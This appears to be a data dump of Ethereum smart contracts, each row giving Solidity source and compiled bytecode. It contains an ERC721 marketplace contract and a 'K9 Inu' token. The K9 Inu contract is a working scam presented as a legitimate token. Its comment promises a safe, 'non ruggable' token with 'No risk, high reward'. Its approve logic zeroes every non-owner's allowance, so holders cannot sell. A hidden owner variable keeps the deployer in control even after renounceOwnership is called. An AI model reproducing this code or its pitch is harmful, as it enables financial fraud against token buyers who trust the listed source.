* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Basic {
event Transfer(
address indexed _from,
address indexed _to,
uint256 _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
/**
* @title ERC-721 Non-Fungible Token Standard, full implementation interface
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ListingsERC721 is Ownable {
using SafeMath for uint256;
struct Listing {
address seller;
address tokenContractAddress;
uint256 price;
uint256 allowance;
uint256 dateStarts;
uint256 dateEnds;
}
event ListingCreated(bytes32 indexed listingId, address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateStarts, uint256 dateEnds, address indexed seller);
event ListingCancelled(bytes32 indexed listingId, uint256 dateCancelled);
event ListingBought(bytes32 indexed listingId, address tokenContractAddress, uint256 price, uint256 amount, uint256 dateBought, address buyer);
string constant public VERSION = "1.0.1";
uint16 constant public GAS_LIMIT = 4999;
uint256 public ownerPercentage;
mapping (bytes32 => Listing) public listings;
constructor (uint256 percentage) public {
ownerPercentage = percentage;
}
function updateOwnerPercentage(uint256 percentage) external onlyOwner {
ownerPercentage = percentage;
}
function withdrawBalance() onlyOwner external {
assert(owner.send(address(this).balance));
}
function approveToken(address token, uint256 amount) onlyOwner external {
assert(ERC20(token).approve(owner, amount));
}
function() external payable { }
function getHash(address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateEnds, uint256 salt) external view returns (bytes32) {
return getHashInternal(tokenContractAddress, price, allowance, dateEnds, salt);
}
function getHashInternal(address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateEnds, uint256 salt) internal view returns (bytes32) {
return keccak256(abi.encodePacked(msg.sender, tokenContractAddress, price, allowance, dateEnds, salt));
}
function createListing(address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateEnds, uint256 salt) external {
require(price > 0, "price less than zero");
require(allowance > 0, "allowance less than zero");
require(dateEnds > 0, "dateEnds less than zero");
require(ERC721(tokenContractAddress).ownerOf(allowance) == msg.sender, "user doesn't own this token");
bytes32 listingId = getHashInternal(tokenContractAddress, price, allowance, dateEnds, salt);
Listing memory listing = Listing(msg.sender, tokenContractAddress, price, allowance, now, dateEnds);
listings[listingId] = listing;
emit ListingCreated(listingId, tokenContractAddress, price, allowance, now, dateEnds, msg.sender);
}
function cancelListing(bytes32 listingId) external {
Listing storage listing = listings[listingId];
require(msg.sender == listing.seller);
delete listings[listingId];
emit ListingCancelled(listingId, now);
}
function buyListing(bytes32 listingId, uint256 amount) external payable {
Listing storage listing = listings[listingId];
address seller = listing.seller;
address contractAddress = listing.tokenContractAddress;
uint256 price = listing.price;
uint256 tokenId = listing.allowance;
ERC721 tokenContract = ERC721(contractAddress);
//make sure listing is still available
require(now <= listing.dateEnds);
//make sure that the seller still has that amount to sell
require(tokenContract.ownerOf(tokenId) == seller, "user doesn't own this token");
//make sure that the seller still will allow that amount to be sold
require(tokenContract.getApproved(tokenId) == address(this));
require(msg.value == price);
tokenContract.transferFrom(seller, msg.sender, tokenId);
if (ownerPercentage > 0) {
seller.transfer(price - (listing.price.mul(ownerPercentage).div(10000)));
} else {
seller.transfer(price);
}
emit ListingBought(listingId, contractAddress, price, amount, now, msg.sender);
}
} | 0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063022fc88b146100d2578063091d27881461011f5780633a5e25761461015257806341da75551461017f5780635fd8c710146101aa578063715018a6146101c157806386964032146101d85780638da5cb5b1461025f5780639057f289146102b65780639299e55214610321578063b924767314610352578063c18b8db414610380578063f2fde38b14610440578063ffa1ad7414610483575b005b3480156100de57600080fd5b5061011d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610513565b005b34801561012b57600080fd5b50610134610679565b604051808261ffff1661ffff16815260200191505060405180910390f35b34801561015e57600080fd5b5061017d6004803603810190808035906020019092919050505061067f565b005b34801561018b57600080fd5b506101946106e4565b6040518082815260200191505060405180910390f35b3480156101b657600080fd5b506101bf6106ea565b005b3480156101cd57600080fd5b506101d66107bc565b005b3480156101e457600080fd5b50610241600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506108be565b60405180826000191660001916815260200191505060405180910390f35b34801561026b57600080fd5b506102746108d8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c257600080fd5b5061031f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506108fd565b005b34801561032d57600080fd5b506103506004803603810190808035600019169060200190929190505050610da3565b005b61037e600480360381019080803560001916906020019092919080359060200190929190505050610eec565b005b34801561038c57600080fd5b506103af600480360381019080803560001916906020019092919050505061143b565b604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b34801561044c57600080fd5b50610481600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b7565b005b34801561048f57600080fd5b5061049861151e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d85780820151818401526020810190506104bd565b50505050905090810190601f1680156105055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561056e57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663095ea7b36000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561063257600080fd5b505af1158015610646573d6000803e3d6000fd5b505050506040513d602081101561065c57600080fd5b8101908080519060200190929190505050151561067557fe5b5050565b61138781565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106da57600080fd5b8060018190555050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561074557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156107ba57fe5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561081757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006108cd8686868686611557565b905095945050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006109076117cc565b60008611151561097f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f7072696365206c657373207468616e207a65726f00000000000000000000000081525060200191505060405180910390fd5b6000851115156109f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f616c6c6f77616e6365206c657373207468616e207a65726f000000000000000081525060200191505060405180910390fd5b600084111515610a6f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f64617465456e6473206c657373207468616e207a65726f00000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16636352211e876040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b158015610af557600080fd5b505af1158015610b09573d6000803e3d6000fd5b505050506040513d6020811015610b1f57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16141515610bbb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f7573657220646f65736e2774206f776e207468697320746f6b656e000000000081525060200191505060405180910390fd5b610bc88787878787611557565b915060c0604051908101604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018681526020014281526020018581525090508060026000846000191660001916815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020155606082015181600301556080820151816004015560a082015181600501559050503373ffffffffffffffffffffffffffffffffffffffff1682600019167f9e1832b56075d4be9b59d3964dd56151b649e4a4b114a4acefd4d9f21e1003c5898989428a604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a350505050505050565b600060026000836000191660001916815260200190815260200160002090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e2057600080fd5b600260008360001916600019168152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160009055600382016000905560048201600090556005820160009055505081600019167f6058913770fd8ede2df053a3c745065f043fe27a1585a9071a05fed168126c07426040518082815260200191505060405180910390a25050565b60008060008060008060026000896000191660001916815260200190815260200160002095508560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1694508560010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350856002015492508560030154915083905085600501544211151515610f8457600080fd5b8473ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561100a57600080fd5b505af115801561101e573d6000803e3d6000fd5b505050506040513d602081101561103457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161415156110d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f7573657220646f65736e2774206f776e207468697320746f6b656e000000000081525060200191505060405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1663081812fc846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561115657600080fd5b505af115801561116a573d6000803e3d6000fd5b505050506040513d602081101561118057600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161415156111b357600080fd5b82341415156111c157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd8633856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561129857600080fd5b505af11580156112ac573d6000803e3d6000fd5b5050505060006001541115611335578473ffffffffffffffffffffffffffffffffffffffff166108fc6113026127106112f46001548b6002015461168490919063ffffffff16565b6116bc90919063ffffffff16565b85039081150290604051600060405180830381858888f1935050505015801561132f573d6000803e3d6000fd5b5061137d565b8473ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f1935050505015801561137b573d6000803e3d6000fd5b505b87600019167f37c577186df43cec2b1e2e404d2bfb60aa75b7a1d71bf0730446f0ed9bdb53bd85858a4233604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060405180910390a25050505050505050565b60026020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030154908060040154908060050154905086565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151257600080fd5b61151b816116d2565b50565b6040805190810160405280600581526020017f312e302e3100000000000000000000000000000000000000000000000000000081525081565b6000338686868686604051602001808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140185815260200184815260200183815260200182815260200196505050505050506040516020818303038152906040526040518082805190602001908083835b60208310151561164c5780518252602082019150602081019050602083039250611627565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020905095945050505050565b60008083141561169757600090506116b6565b81830290508183828115156116a857fe5b041415156116b257fe5b8090505b92915050565b600081838115156116c957fe5b04905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561170e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60c060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160008152602001600081526020016000815250905600a165627a7a72305820f50dc0853afcfb4e0aa99ad26a0c140d3cc457a5c9af62832ead51c1196026c30029 | {"success": true, "error": null, "results": {}} | 10,618 |
0x9b7f62b942bc707e14bc0189b0f95c75a06f50e6 | /*
You want a Safu token to play this weekend? Marvin has a treat for you 😋, 10% of K-9 supply will be rewarded to all Marvin Inu holders who hold more than 100,000,000 Marvin tokens. Fully automated, to say thanks to our incredible community. ✅✅
Don’t know what Marvin Launchpad is? It’s a way to bring you safe tokens from legit devs, fully powered by the Marvin team! The whole team and community are getting behind these.
🚀🚀🚀
The token will be marketed with CG and CMC applied for on the first day, and various call channels as a non ruggable token for the true degens to ape in. No risk, high reward.
All taxes will be spent on marketing for BOTH tokens, further improving the entire Marvin ecosystem. We will also be issuing buybacks and LP to Marvin from each Launchpad!
Stay tuned for giveaways and more, this is going to be HUGE! 🔥🔥
https://t.me/MarvinInuether
https://t.me/k9inu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract K9Inu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12* 10**18;
string private _name = ' K9 Inu ';
string private _symbol = 'K9';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3